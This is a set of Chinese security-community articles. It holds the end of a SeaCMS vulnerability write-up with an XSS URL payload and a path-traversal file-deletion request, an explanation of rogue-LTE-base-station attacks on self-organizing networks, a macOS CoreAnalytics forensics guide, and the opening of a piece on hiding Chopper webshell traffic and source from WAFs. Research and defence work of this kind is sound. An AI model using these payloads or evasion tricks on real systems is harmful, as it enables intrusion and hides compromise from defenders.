/admin_datarelate.php?action=dorandomset&maxHit=1000</script><script>alert(1)</script>&time=1000&submit=1
原理和上面的cve类似，这里就不重复讲解。
## CVE-2018-17365
一枚任意文件删除漏洞，产生问题的文件是/admin/admin_template.php的114行附近。
有关的代码逻辑为：
可以看到，接受到参数以后，对其进行了简单的过滤，我们只要绕过就可以进行任意文件的删除：
$dirTemplate="../templets";
substr(strtolower($filedir),0,11)!=$dirTemplate
过滤简单的截取了传入变量的前11个字符，然后与模板文件的开头对比，但是这里忽略了操作系统中的../上跳操作，即bypass payload为：
../templets/../install/install_lock.txt
这样我们就可以删除安装产生的install锁文件，从而重新安装seacms，拿到webshell。
实际演示一下删除index.php.bak：
删除之前：
执行删除操作：admin_template.php?action=del&filedir=../templets/../install/index.php.bak
删除完：
可以发现，确实成功删除了文件，这个过滤其实是十分不安全的，所以很容易就可以bypass。
## 总结
对于cms的cve挖掘，需要及时的跟进业务逻辑的更新，很可能新增加的业务就会有漏洞的产生。 | 社区文章 |
# BlackHat议题解读 | 利用4G伪基站攻击LTE SON自组网
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：360无线电安全研究院 **
最近刚在美国举办的BlackHat黑客大会。来自柏林大学的Altaf Shaik发表了针对LTE
SON自组网的攻击，此前在6月13日GSMA名人堂已经发布了该漏洞。360无线电安全研究院独角兽团队第一时间对该议题进行解读。
图1 入选GSMA名人堂
该议题的主要攻击对象是使用SON技术的LTE基站eNodeB，会导致基站不能提供正常服务。由于LTE
SON技术目前国内的三大运营商也都在使用并且在积极推广[1]，所以国内的LTE基站同样会受到此种攻击的影响。
与常见的伪基站攻击手机不同的是，本议题的主要攻击对象是使用了SON技术的基站。使用本议题的攻击技术可以使一个基站失去服务能力，甚至是被核心网误认为是问题节点，导致该基站所覆盖范围内的手机都不能正常切换。
攻击基站与攻击手机相比其影响范围更大，商用基站的信号覆盖范围要远大于廉价的伪基站的信号范围，如图是一个典型商用基站天线大小
商用基站天线
伪基站天线
图2 商用基站天线与伪基站天线对比
商用基站发射功率可达数十瓦，而且一般固定安放在楼顶高处，因此其信号覆盖在城区半径可达400米。常见的伪基站天线如图所示，伪基站通常考虑便携性和成本，在不加放大器的情况下，发射功率仅有100毫瓦左右，其覆盖为仅能达到20米左右。因此如果使用伪基站攻击手机的话，其影响范围也是有限的，但是如果使用本攻击方法连续攻击数个eNodeB的话，有可能导致大面积的通信中断，对运营商的服务质量影响非常恶劣。
## 一、关于LTE SON自组网技术
SON是LTE网络在标准化阶段由移动运营商提出的概念，其主要思路是实现网络的一些自主功能，减少人工参与，降低运营成本。在现在移动通信网络中由于各种制式的网络并存，大量的网络参数使网络优化变得极其复杂，因此运营商为了降低人力成本，希望能够建设由智能程序控制的LTE网络。
SON主要特性：
1. 自配置：eNodeB即插即用、自动安装软件、自动配置无线参数和传输参数、自动检测、邻接关系的自动管理等。自配置功能可以减少工程师以及网络优化人员的手动配置参数的过程，因此可以降低运营成本
2. 自优化：根据网络侧和终端侧对信号质量的测量，对网络本身进行自动调节，使其能够对外输出最优性能。其原理如图1所示。
3. 自愈：当网络出现问题时，能够在问题修复后自动恢复并配置预设参数。
图3 SON自优化原理
该议题中针对的主要是SON LTE网络中的eNodeB节点，SON 中的eNodeB具有自动建立邻接关系(Automatic Neighbour
Relation,ANR)，自动PCI配置（Automatic PCI Configuration），以及移动性能优化（Mobility
Robustness Optimization, MRO）等功能。
该议题的攻击实现正是基于SON中eNodeB的这三个功能。
## 二、关于LTE切换流程的漏洞
切换流程是一种保证手机在移动过程中改变了连接的基站仍然可以保持业务不中断，比如电话和数据流量不中断。eNodeB负责管理手机的切换流程，其主要信令流程如下图所示：
图4 切换流程
当手机和当前基站建立了RRC连接，手机进入RRC Connected之后，基站会下发一些测量配置（Measurement
Configuration），这包含了一些触发上传测量报告的条件，比如当前基站信号低于了一个门限值，手机就会自动周期性的上报测量报告，这个测量报告包含了手机所能搜索到所有邻区的信号质量，eNodeB的PCI等等。服务基站就会选择UE的测量报告中信号质量最好的相邻基站，并和它通过X2接口建立连接。原服务基站会将手机所需的连接参数信息发送给切换的目标基站，目标基站也会为即将切换过来的手机预留资源。在收到目标基站的确认之后，原服务基站就会指派手机切换到新的基站上去了。
但是，由于切换是基于手机上报的测量报告的，而且手机测量的基站并不一定都是合法基站，我们可以通过伪造基站信号，让手机上传错误的测量报告，收到测量报告的基站就可能会根据这个错误的测量报告作出错误的切换决策，这可能使手机切换到伪基站上而导致通话或者上网中断，给用户体验造成极其恶劣的影响。
## 三、关于SON的漏洞
使用了SON技术的eNodeB可能存在的三个漏洞：
1. 由于使用了自动建立邻接关系（ANR）技术，使eNodeB可以自动发现相邻的eNodeB，并且与它建立X2连接。但是恶意伪造的基站信号也可能导致eNodeB的判断错误，使它与本不相邻的eNodeB建立连接，导致网络资源的浪费。
2. PCI自动配置功能同样可能误用，如果有伪基站构造了和真实基站相同的PCI，则会导致真实基站被迫更改PCI，这可能导致真实基站的必须重启以改变PCI，重启时间可能长达8到10分钟，这对运营商的服务质量也是巨大的打击。
3. 移动性能自动优化功能可能导致合法eNodeB被刻意抹黑，我们可以伪造合法eNodeB的信号，并刻意不向手机提供服务，而手机就会将这一事件上报给管理中心（OAM）,如果问题上报次数过多，则OAM则会将这一合法eNodeB停用，这也会影响运营商的网络性能。
## 四、攻击实现
### 4.1 软硬件平台
所需硬件设备如下图所示[2]，由一台UDOO x86嵌入式平台和一台LimeSDR组成。UDOO平台搭载了Intel Atom，它通过USB
3.0接口与LimeSDR相连，LimeSDR是一款廉价的SDR设备。所需要的硬件总成本仅为300美元左右，同时需要一些辅助手机对下行信号进行监听。所需软件为srsLTE，一款LTE网络侧和终端侧的开源项目。
图5 硬件设备
### 4.2 攻击过程
针对LTE SON网络的弱点以及切换流程中的漏洞可以实现三个方面的攻击
1. X2的信令洪流攻击
为了攻击一个目标基站，我们可以伪造一个eNodeB，它仿造真实基站的的PCI和CGI，被伪造的基站需要保证离目标基站至少2Km，因为相距过远，在正常情况下两个基站并不会建立X2连接。处于RRC连接状态的手机会检测到我们搭建的伪基站的信号，并且通过measurement
report将我们伪基站的PCI和CGI以及信号质量上传，而目标基站发现在自己的邻区列表中不存在这个PCI/CGI的基站，因此就会请求OAM返回这个PCI/CGI基站的IP号，并且请求与此基站建立X2连接，由于被仿造的是真实基站，因此它是可以成功建立X2连接的，但是这种X2连接的建立是对网络资源的浪费，因为这两个基站实际上相距过远，是没有必要建立X2连接的。
2. 小区中断攻击
利用PCI的自配置功能，我们可以搭建一个与真实基站的PCI和CGI完全相同的伪基站，网络侧可以通过X2报告，手机上传的测量报告，以及网络侧主动的监听器发现PCI冲突，并且向OAM发送警报，OAM可能会使该eNodeB重新启动并且选择一个没有冲突的PCI，这可能会导致该eNodeB停止服务8-10分钟。
3. 切换劫持攻击
同样，通过仿造真实基站，我们搭建的伪基站可以劫持切换流程，其具体流程如下图。由于我们的PCI是存在于真实基站的邻区表中，而且我们的信号质量很好，所以当满足切换条件的时候，基站会下发切换指令，的由于伪基站的信号强度优于真实基站，所以UE为了响应切换指令，也会向伪基站发送接入请求，但是伪基站并不对随机接入请求做处理，因此UE也不能接入成功，这会导致UE会创建一个RLF报告，以向合法网络上报这一个切换失败的事件，RLF会记录伪基站的PCI，GCI
频点号和信号强度。后面，UE会重新建立与伪基站的连接，想要从那次失败的连接中恢复（通过发送RRC connection re-establish
request）。因为伪基站是不能提供合法服务的
，因此它肯定会拒绝UE的请求的，这会导致UE中断语音通话和上网。UE会保持与伪基站的连接，直到伪基站主动释放。当UE重新获得了合法连接的时候，它就会将RLF报告传给网络。
同时，由于被仿造的eNodeB接收到了X2接口传来的切换请求，它会准备好资源等待UE的接入，但是由于切换流程已经被伪基站劫持，因此被分配的资源也是浪费的，而且这个接入失败的事件会被传给OAM，并且会影响被伪造基站的handover
KPI。连续的切换失败，导致KPI下降，因此有可能会被OAM拉黑，导致其无法服务网络。
图6 切换劫持
## 五、应对措施
(1)广播信息中添加数字签名，能够实现上述攻击的根本原因是网络侧对切换的决策是基于用户手机上报的measurement
report，而测量报告中对基站的信号质量测量并不需要鉴别基站的合法身份，因此即使是伪基站的信号质量也是会被上传。所以为了从根本上解决这个问题，可以通过采用非对称加密的方法，合法基站通过在广播信息中添加数字签名，以杜绝伪基站在鉴权流程之前欺骗终端的接入。
(2)验证手机上传的测量报告，如果发现测量报告的参数不合理可以选择丢弃。也可以不依赖手机对网络信号质量进行测量，而是在系统内设置专门的侦听节点对当前网络信号进行测量，以保证测量报告不被虚假注入。
**参考文献**
[1] 自组织网络技术及其在江苏电信LTE网络中的应用研究
<http://cdmd.cnki.com.cn/Article/CDMD-10293-1016294108.htm>
[2] LTE Network Automation under Threat
<http://i.blackhat.com/us-18/Wed-August-8/us-18-Shaik-LTE-Network-Automation-Under-Threat.pdf>
[3] On the Impact of Rogue Base Stations in 4G/LTE Self Organizing Networks
<https://dl.acm.org/citation.cfm?id=3212480.3212497> | 社区文章 |
# 如何查看macOS一个月前的进程执行记录
|
##### 译文声明
本文是翻译文章，文章来源：crowdstrike.com
原文地址：<https://www.crowdstrike.com/blog/i-know-what-you-did-last-month-a-new-artifact-of-execution-on-macos-10-13/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
数字取证分析人员在分析macOS时，很难获得关于程序执行的相关信息，但现在情况已有所改观。在macOS 10.13（High
Sierra）中，Apple推出了CoreAnalytics，这是一种系统诊断机制，可以获取系统上执行过的Mach-O程序记录，时间跨度大约为1个月左右。CoreAnalytics可以为内部威胁调查任务以及应急事件响应提供许多非常有价值的信息，可以用于以下场景：
1、确定系统的使用时长，粒度以天为单位；
2、确定特定日期有哪些程序被运行过，是以前台还是以后台模式运行；
3、大致确定程序处于运行或活动状态的时长，也能大致给出程序启动或者以交互式前台方式运行的次数。
本文从技术角度大致介绍并分析了macOS
10.13中的CoreAnalytics机制，同时也介绍了如何将这类信息解析为更容易理解的格式，帮助调查人员分析取证。
## 二、概览
CoreAnalytics可以提供关于程序执行的历史纪录以及当前记录，基本上以天为单位。这些数据来自于两个源：
1、`/Library/Logs/DiagnosticReports/`目录中以`.core_analytics`为扩展名的文件，内容为JSON格式：解析前两条记录可以获得有关诊断过程的启动及结束时间戳信息，解析后面的数据可以获得诊断期间系统及应用的使用情况；
2、`/private/var/db/analyticsd/aggregates/`目录中文件名类似GUID的文件，内容为嵌套数组：在当前诊断过程期间，子系统将临时阶段性程序执行数据以聚合文件形式报告给数据分析守护程序。阶段性数据通常会在诊断周期结束时推送到`.core_analytics`文件中。
诊断周期由`.core_analytics`文件的前两行定义，分别确定诊断周期的开始及结束时间。每个诊断周期在在00:00:00
UTC后的系统首次休眠或者关闭时就会结束。前面提到过，在诊断周期结束时，当日的数据在提交到`.core_analytics`文件用作长期存储前，会先存放在聚合文件中。因此，CoreAnalytics无法用来确定程序运行的时间范围（只能大约给出24小时的时间区域）。
为了处理这种场景，我们编写了一个Python脚本（请访问我们的[GitHub](https://github.com/CrowdStrike/Forensics/tree/master/CoreAnalyticsParser)下载)，该脚本可以解析CoreAnalytics以及聚合文件，将结果写入到更加清晰的JSON或者CSV文件中。CoreAnalyticsParser脚本可以支持如下功能：
1、解析每个`.core_analytics`文件中记录的诊断周期开始及结束时间，并将其转换为UTC以及IOS8601时间；
2、从每个`.core_analytics`文件中提取与每条记录相关的可用字段；
3、将以秒数表示的原始值转换为更容易理解的`%H:%M:%S` `strftime`格式；
4、将与`comappleosanalyticsappUsage`子系统关联的聚合文件解析为每个
`.core_analytics`文件中该子系统所生成的相同字段。
在`.core_analytics`文件中某个应用的执行记录大致如下所示：
{ ‘message’: { ‘activations’: 105,
‘activeTime’: 4250,
‘activityPeriods’: 12,
‘appDescription’: ‘com.google.Chrome ||| 67.0.3396.87 (3396.87)’,
‘foreground’: ‘YES’,
‘idleTimeouts’: 4,
‘launches’: 0,
‘powerTime’: 12537,
‘processName’: ‘Google Chrome’,
‘uptime’: 26110},
‘name’: ‘comappleosanalyticsappUsage’,
‘uuid’: ‘4d7c9e4a-8c8c-4971-bce3-09d38d078849’}
表1. Google Chrome对应的CoreAnalytics记录样例
由CoreAnalyticsParser解析后，同一个记录会被解析成如下结果：
{ ‘src_report’: ‘/path/to/Analytics_2018-06-29-173717_ML-C02PA037R9QZ.core_analytics’,
‘diag_start’: ‘2018-06-29T00:00:09Z’,
‘diag_end’: ‘2018-06-30T00:37:17.660000Z’,
‘name’: ‘comappleosanalyticsappUsage’,
‘uuid’: ‘4d7c9e4a-8c8c-4971-bce3-09d38d078849’,
‘processName’: ‘Google Chrome’,
‘appDescription’: ‘com.google.Chrome ||| 67.0.3396.87 (3396.87)’,
‘appName’: ‘com.google.Chrome’,
‘appVersion’: ‘67.0.3396.87 (3396.87)’,
‘foreground’: ‘YES’,
‘uptime’: ‘26110’,
‘uptime_parsed’: ‘7:15:10’,
‘powerTime’: ‘12537’,
‘powerTime_parsed’: ‘3:28:57’,
‘activeTime’: ‘4250’,
‘activeTime_parsed’: ‘1:10:50’,
‘activations’: ‘105’,
‘launches’: ‘0’,
‘activityPeriods’: ’12’,
‘idleTimeouts’: ‘4’}
表2. CoreAnalyticsParser脚本将图1中CoreAnalytics的结果解析成JSON数据
注意：如上解析结果为JSON格式数据，可以使用`-j`选项输出为JSON数据。默认情况下，解析脚本会将结果输出为CSV格式。
该脚本可以在实时系统上运行，也可以处理包含CoreAnalytics或者聚合文件的目录。
## 三、技术分析
### CoreAnalytics文件
`.core_analytics`文件中包含JSON记录，这些记录可以表示程序执行历史及时间戳信息，时间戳可以划出历史数据所对应的特定诊断周期。这些文件位于`/Library/Logs/DiagnosticReports/`目录中，文件名采用`Analytics_YYYY_MM_DD_HHMMSS_<systemname>.core_analytics`格式。文件名中的时间戳基于的是系统的本地时间信息。在10.13版本之前，`DiagnosticReports`目录只包含程序故障及崩溃报告，现在，不论程序是否崩溃，该目录中都会包含与程序执行有关的数据。
负责生成和收集系统分析及诊断数据的守护程序同样会维护`/private/var/db/analyticsd`目录中已预先写好的CoreAnalytics文件信息。在该目录中，`currentConfiguration.json`文件貌似维护着一个字典集，对应与子系统相匹配的名称、UUID以及数据类型。
在`/private/var/db/analyticsd/journals`目录中，`da2-identity.json`文件包含最近生成的CoreAnalytics文件中的`_marker`记录列表。第一条记录通常会比当前可用的第一个CoreAnalytics文件要早上7-10天，最后一条记录对应最近写入后的报告。通常情况下，这些数据可以用来确认预期的所有`.core_analytics`文件都存在且未被篡改。
**定义诊断周期**
`.core_analytics`文件的首条记录包含一个时间戳字段，字段值对应诊断周期结束的时间。虽然时间戳以本地时间为基础，但带有时区信息。如果该字段值未被修改，则应当匹配该文件的上次修改时间戳。换句话说，只有在诊断周期结束后，`.core_analytics`文件才会被写入到这个目录中。
{ ‘bug_type’: ‘211’,
‘os_version’: ‘Mac OS X 10.13.5 (17F77)’,
‘timestamp’: ‘2018-06-05 17:16:48.19 -0700’}
表3. `.core_analytics`文件的第一行记录，包含诊断周期结束时间戳信息
我们可以在以`_marker`开头的JSON记录中找到诊断周期的开始时间，即`startTimestamp`字段中的UTC时间戳。
{ ‘_marker’: ”,
‘_preferredUserInterfaceLanguage’: ‘en’,
‘_userInterfaceLanguage’: ‘en’,
‘_userSetRegionFormat’: ‘US’,
‘startTimestamp’: ‘2018-06-05T00:19:13Z’,
‘version’: ‘1.0’}
表4. `.core_analytics`文件的第二行记录，包含诊断周期开始时间戳信息
CoreAnalytics文件基本上每天都会写入到`DiagnosticReports`目录中，并且在系统使用期间，两个记录文件的时间间隔基本上无缝连接。在诊断期间，如果系统处于睡眠或者关机状态，则不会生成CoreAnalytics文件。
**诊断周期开始时间** | **诊断周期结束时间**
---|---
2018-06-08T01:51:23Z | 2018-06-09T01:50:01.370000Z
2018-06-10T16:49:09Z | 2018-06-11T03:53:15.140000Z
2018-06-11T03:53:14Z | 2018-06-12T02:50:17.410000Z
2018-06-12T02:50:17Z | 2018-06-13T00:17:45.870000Z
2018-06-13T00:17:45Z | 2018-06-14T01:17:06.340000Z
表5. 系统连续使用几天时，`.core_analytics`文件之间无缝连接，当系统未激活时则会出现断档
根据我们对`/private/var/db/analyticsd/Library/Preferences/analyticsd.plist`这个二进制plist文件的分析结果，这些文件通常会在每天00:00:00
UTC时间后系统首次睡眠或关闭时在`DiagnosticReports`目录中生成。该plist文件以Unix
Epoch格式记录了`.core_analytics`的上次提交时间以及下次提交时间。
Key: cadence
Type: String
Value:
{ ‘bootToken’: 1530574585000000,
‘lastSubmission’: 1531256233,
‘nextSubmission’: 1531267200,
‘osVersion’: ’17E202′,
‘version’: 1}
表6. `analyticsd.plist`文件内容，包含上次提交及下次提交时间戳信息
然而我们的测试显示，报告通常会在提交时间过后的首次睡眠或者关机时写入。
**系统使用信息**
在时间戳及marker记录之后，`comappleosanalyticssystemUsage`子系统所生成的数据反映了系统的运行时长（以秒为单位）。该子系统可能会在主机睡眠或关闭后生成新的纪录。将这些记录中的`uptime`字段值加起来后就可以得到系统处于活跃状态下的总时间。`Uptime`字段非常简单，为`uptime`值的千位数。`activeTime`字段很有可能表示的是系统运行状态下被使用的时长（以秒为单位），如下两条记录所示，系统有两个阶段处于唤醒状态下（时长分别为4分钟以及40分钟），总时长为44分38秒，但使用时长仅为14分26秒。
{ ‘message’: { ‘Uptime’: 0,
‘activations’: 2,
‘activeTime’: 42,
‘idleTimeouts’: 1,
‘uptime’: 247},
‘name’: ‘comappleosanalyticssystemUsage’,
‘uuid’: ‘00866801-81a5-466a-a51e-a24b606ce5f1’}
{ ‘message’: { ‘Uptime’: 2000,
‘activations’: 2,
‘activeTime’: 824,
‘idleTimeouts’: 1,
‘uptime’: 2431},
‘name’: ‘comappleosanalyticssystemUsage’,
‘uuid’: ‘00866801-81a5-466a-a51e-a24b606ce5f1’}
表7. 反应系统使用状态的两条记录
接下来的两条记录分别为2小时的心跳记录一次1天的心跳记录。这些记录的作用尚未澄清，因为这些心跳记录似乎与诊断周期的时长或者任何程序的运行时间无关。`BogusFieldNotActuallyEverUsed`这个字段名很可能表示不仅该字段已被弃用，甚至这条数据本身已被弃用。
{ ‘message’: { ‘BogusFieldNotActuallyEverUsed’: ‘null’, ‘Count’: 7},
‘name’: ‘TwoHourHeartbeatCount’,
‘uuid’: ‘7ad14604-ce6e-45f3-bd39-5bc186d92049’}{ ‘message’: { ‘BogusFieldNotActuallyEverUsed’: ‘null’, ‘Count’: 1},
‘name’: ‘OneDayHeartBeatCount’,
‘uuid’: ‘a4813163-fd49-44ea-b3e1-e47a015e629c’}
表8. 心跳记录
**应用使用信息**
后面开始的每一行都包含3个键：`name`、`uuid`以及`message`。`name`以及`uuid`键可以映射到生成该记录的特定子系统，`message`字段包含一个嵌套JSON记录，其中包含其他一些数据。我们所观察到的一些最为常见的子系统以及UUID值如下所示：
**子系统名** | **UUID**
---|---
comappleosanalyticsappUsage | 4d7c9e4a-8c8c-4971-bce3-09d38d078849
comappleosanalyticssystemUsage | 00866801-81a5-466a-a51e-a24b606ce5f1
comappleosanalyticsMASAppUsage | 0fd0693a-3d0a-48be-bdb2-528e18a3e86c
TwoHourHeartbeatCount | 7ad14604-ce6e-45f3-bd39-5bc186d92049
OneDayHeartBeatCount | a4813163-fd49-44ea-b3e1-e47a015e629c
表9. 向守护程序报告数据的常见子系统及对应的UUID
我们的测试表明，这些UUID在运行macOS
10.13.4以及10.13.5系统上均保持一致，这表明UUID仅与子系统及子系统的版本有关，如果Apple将来修改子系统时，这些值可能也会发生改变。
`comappleosanalyticsappUsage`子系统会为执行的每个程序生成一条记录。
{ ‘message’: { ‘activations’: 105,
‘activeTime’: 4250,
‘activityPeriods’: 12,
‘appDescription’: ‘com.google.Chrome ||| 67.0.3396.87 (3396.87)’,
‘foreground’: ‘YES’,
‘idleTimeouts’: 4,
‘launches’: 0,
‘powerTime’: 12537,
‘processName’: ‘Google Chrome’,
‘uptime’: 26110},
‘name’: ‘comappleosanalyticsappUsage’,
‘uuid’: ‘4d7c9e4a-8c8c-4971-bce3-09d38d078849’}
表10. `comappleosanalyticsappUsage`子系统生成的`.core_analytics`示例记录
`message`下包含的9个字段可能会为分析人员的取证工作提供大量信息：
1、`activeTime`可能提供程序处于前台运行时的秒数；
2、`activityPeriods`可能提供程序被调到前台运行的次数；
3、`appDescription`直接来自于应用程序包中`Info.plist`的相关信息。如果`Info.plist`中的相关键值信息格式错误或者为空，这里字段的值则会显示为`???`；
在CoreAnalytics记录中存放的数据满足如下格式：
<CFBundleIdentifier> ||| <CFBundleShortVersionString> (<CFBundleVersion>)
表11. CoreAnalytics记录的数据格式
例如，`Google Chrome.app`的`Info.plist`文件中可以根据如下键值提取出所需的信息：
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleShortVersionString</key>
<string>67.0.3396.99</string>
<key>CFBundleVersion</key>
<string>3396.99</string>
表12. `Google Chrome.app`应用`Info.plist`中的相关键值
如果程序以独立的Mach-O可执行文件形式运行，或者`Info.plist`不可用、格式错误或者不完整，那么`appDescription`就会显示为`UNBUNDLED |||
???`。
例如，GlobalProtect中`Info.plist`的`CFBundleVersion`键值就无法获取到：
com.paloaltonetworks.GlobalProtect ||| 4.0.2-19 (???)
表13. GlobalProtect的CoreAnalytics记录中对应的`appDescription`值
其他字段的意义如下：
4、`foreground`字段的值为`YES`或者`NO`，表示程序是否在前台运行；
5、`idleTimeouts`的含义目前尚未澄清；
6、`launches`可能表示的是诊断报告期间应用的启动次数。如果应用在诊断周期开始前启动，那么`launches`的值为0；
7、根据我们的测试结果，`powerTime`可能表示的是程序处于运行状态并消耗AC电源的时间（以秒为单位）；
8、`processName`的值来自于应用程序包中`Info.plist`文件的`CFBundleExecutable`键值；
举个例子，`Google Chrome.app`中`Info.plist`文件的该键值信息如下：
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
表14. `Google Chrome.app`应用`Info.plist`中的`CFBundleExecutable`键值
如果程序为独立的Mach-O可执行文件，或者`Info.plist`不可用、格式错误或者不完整，这个字段仍然会在CoreAnalytics记录正确生成。根据我们的测试结果，目前我们尚未澄清守护程序获取该数据所使用的是哪个辅助来源。
如下所示，在某些情况下，`processName`字段将会留空。在这些场景中，我们实际上无法通过CoreAnalytics中推测执行的是哪个程序。
{ ‘message’: { ‘activations’: 0,
‘activeTime’: 0,
‘activityPeriods’: 0,
‘appDescription’: ‘UNBUNDLED ||| ???’,
‘foreground’: ‘NO’,
‘idleTimeouts’: 0,
‘launches’: 2,
‘powerTime’: 0,
‘processName’: ”,
‘uptime’: 24},
‘name’: ‘comappleosanalyticsappUsage’,
‘uuid’: ‘4d7c9e4a-8c8c-4971-bce3-09d38d078849’}
表15. 无名程序所对应的CoreAnalytics记录
9、`uptime`可能表示的是程序运行的总时长（以秒为单位），该数字并未包含系统睡眠或者关闭的时间。在诊断期间，某些程序（如Dock）的运行时间很可能与系统运行时间相近或完全匹配。在上文的
**系统使用信息** 部分中，两个`uptime`（247及2431）的总和与Dock应用的`uptime`值（2678）完全匹配，如下所示：
{ ‘message’: { ‘activations’: 0,
‘activeTime’: 0,
‘activityPeriods’: 0,
‘appDescription’: ‘com.apple.dock ||| 1.8 (1849.16)’,
‘foreground’: ‘NO’,
‘idleTimeouts’: 0,
‘launches’: 0,
‘powerTime’: 0,
‘processName’: ‘Dock’,
‘uptime’: 2678},
‘name’: ‘comappleosanalyticsappUsage’,
‘uuid’: ‘4d7c9e4a-8c8c-4971-bce3-09d38d078849’}
表16. Dock应用对应的CoreAnalytics记录
在我们的测试中，我们发现另一个子系统（即`comappleosanalyticsMASAppUsage`）往CoreAnalytics文件中写入了与Microsoft
OneNote有关的记录。JSON嵌套数据中的键值与`comappleosanalyticsappUsage`子系统所写的键值有所不同。这条记录并没有使用一个`appDescription`字段，而是将`CFBundleIdentifier`和`CFBundleShortVersionString`（以及`CFBundleVersion`）写入`identifier`以及`version`字段中。除了`launches`之外，该记录还缺少其他所有字段。
{ ‘message’: { ‘identifier’: ‘com.microsoft.onenote.mac’,
‘launches’: 1,
‘version’: ‘15.32 (15.32.17030400)’},
‘name’: ‘comappleosanalyticsMASAppUsage’,
‘uuid’: ‘0fd0693a-3d0a-48be-bdb2-528e18a3e86c’}
表17. Microsoft OneNote对应的CoreAnalytics记录，由另一个子系统生成
可能其他子系统所生成的数据结构也会有所不同。
### 归纳当天执行数据
在诊断周期结束时，CoreAnalytics数据会被写入到文件中，在此之前我们有可能能恢复这些数据。
在数据提交并推送到当天的CoreAnalytics文件之前，`/private/var/db/analyticsd/aggregates/`目录充当了每个子系统的临时性暂存目录。每个子系统在该目录中都对应一个阶段性文件，文件名为子系统的UUID值。比如，`4d7c9e4a-8c8c-4971-bce3-09d38d078849`文件包含了1.0版`comappleosanalyticsappUsage`子系统所生成的报告数据（这些数据在00:00:00
UTC时间后的首次睡眠或者关机时会写入到`/Library/Logs/DiagnosticReports/`目录的CoreAnalytics文件中）。这些文件的内容似乎为嵌套数组，比如Google
Chrome所对应的数组如下所示：
[ [‘Google Chrome’, ‘com.google.Chrome ||| 67.0.3396.99 (3396.99)’, ‘YES’],
[5660, 145, 0, 0, 5, 2, 1020]]
表18. Google Chrome所对应的聚合数据
这些值对应`comappleosanalyticsappUsage`子系统所生成的CoreAnalytics记录中的一些字段，具体如下：
[ [processName, appDescription, foreground],
[uptime, activeTime, launches, idleTimeouts, activations, activityPeriods, powerTime]]
表19. 聚合数据的数组结构
解析聚合文件中中数组的值，将其与上述字段一一对应后，我们现在就可以在当天分析数据被提交至CoreAnalytics文件前，分析当天应用的使用情况。
## 四、总结
CoreAnalytics可以为我们提供关于系统及应用程序使用情况的大量信息，程序执行历史跨度长达一个月的，可以在调查任务中起到关键作用，由于调查行为本身特性，证据往往无法在现场第一时间收集，此时能起到的作用也就更加明显。尽管Apple提供的官方文档可能会进一步澄清某些字段的用途及含义，研究人员可以以本文为基础，开始研究macOS系统上的应用活动数据。 | 社区文章 |
### 0x00：前言
在实际的渗透测试中，Webshell真正免杀的第一步就是确保 Webshell 的源脚本免杀，其次是传输内容的编码混淆。
但仅将 request 包内容进行编码，发送到服务器是远远不够的；部分 WAF 或者信息防泄漏系统还会对网页的 response
返回包流量进行检测。这时候，无论源脚本的免杀构造多精巧，request 包编码的多复杂，response 返回的明文内容都会暴露它是一个彻底的
Webshell 脚本。
目前网络上一些公开客户端，通常仅支持 request 包的自定义编码功能，服务器的代码执行 response 结果通常是明文状态，且无法定义方法进行服务端
response 内容的编码，并最后解码后展示执行结果。
本篇文章主要分享自己为解决以上问题，根据 caidao.exe，编写普适的本地代理脚本—CaiDaoProxy.py，绕过WAF和流量检测软件对一句话
Webshell 检测的相关思路。
### 0x01：原因
使用 caidao.exe (20160620 版 **MD5: AC86066FFD58779F4C0DB5030574B0CB** ) 进行
CaiDaoProxy.py 的开发大致有以下几个原因：
* 20160620 版本后的 caidao.exe 拥有配置文件，可以直接修改配置文件中发往服务器的语句
* 中间人 Proxy 拦截修改模式对流量的可操作性较强，可随意修改发送包和响应包的任意内容
* 避免为解决中间流量编码混淆等问题重复造轮子，制作 "新型菜刀" 客户端
* 表面用的是普通的 caidao.exe，其实用的是过WAF版的CaiDaoProxy，还是有点意思的
### 0x02：原理
一言以蔽之：CaiDaoProxy.py 是一个中间人HTTP流量代理脚本。
它可以在 caidao.exe 发送给目标的 request 内容、目标返回给 caidao.exe 的 response
内容上进行修改，以完成在仅修改菜刀配置文件 caidao.conf 的基础上，结合特定的 Webshell 完成目标到 caidao.exe
之间的流量编码混淆，达到躲过 webshell 流量检测的目的。
配合基础的免杀源文件，将躲过大部分 Webshell 检测软件和监测平台的 Webshell 发现手段。其实现原理主要如下图所示：
可以发现，发送到服务端 www.example.com 的请求是编码混淆过的，服务端的响应也是编码混淆过的。
对于一些 WAF 和主机流量防护软件来说，原来的caidao 请求特征值 **"z0"** 、 **"z1"** 、 **"z2"** ，分隔符 "
**X@Y** "及其它敏感内容(物理路径、执行命令结果等)都无法轻易检测到了。
### 0x03：源文件免杀
前言中讲了，在有文件的 Webshell 中，源文件免杀是第一步。源文件免杀的php、asp一句话脚本参考我以前写的
[文章](https://github.com/LandGrey/webshell-detect-bypass) 构造起来不算困难。
但一句话形式的(实际文本内容比较多) JSP Webshell 网络公开讲绕过检测的比较少，所以分享一个比较简单的 JSP Webshell免杀方法—
**unicode编码** 。
[这里](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/CaiDao-Webshell-Password-LandGrey.jsp) 提供一个
caidao.exe 20160620 及以后版本 (默认分隔符: **X@Y** ) 可正常连接，源文件免杀的 jsp 一句话示例脚本，密码:
`LandGrey`
原理是 Java 编译器可将 unicode 编码的 java 源代码 (下图所示的 jsp 中的 " **\uxxxx** " 形式的 unicode
编码后的代码) 正常编译成 class文件。
将提供的 Webshell 放在服务器上，访问后打开 Tomcat 的 work 编译目录，可发现反编译后正常的 class 文件和 unicode 编码的
java 源代码文件。
### 0x04：传输内容加密
这里的 **传输内容加密** 是指：
> 以服务器的角度来看：客户端发送给它的 request 包中的 POST 参数名和参数值无法轻易知晓其含义；
> 并且服务器返回给客户端的 response 包中的内容也无法轻易知晓其含义。
随着攻防对抗的升级，现在的 Webshell 客户端都有较为原始的"传输内容加密"策略，比如 caidao.exe 默认将发送的部分内容进行一次
base64 编码、16进制转码等，但现在默认的这些小
trick，在躲避检测上起到的作用越来越小，一些防护软件会尝试简单的各种简单方式解码，还原成明文的内容，然后再检测传输内容是否异常。
限于篇幅，php 、asp等脚本的 CaiDaoProxy.py 实现只介绍其思路，重点说明 jsp 一句话 Webshell 流量加密的
CaiDaoProxy.py 实现方法。
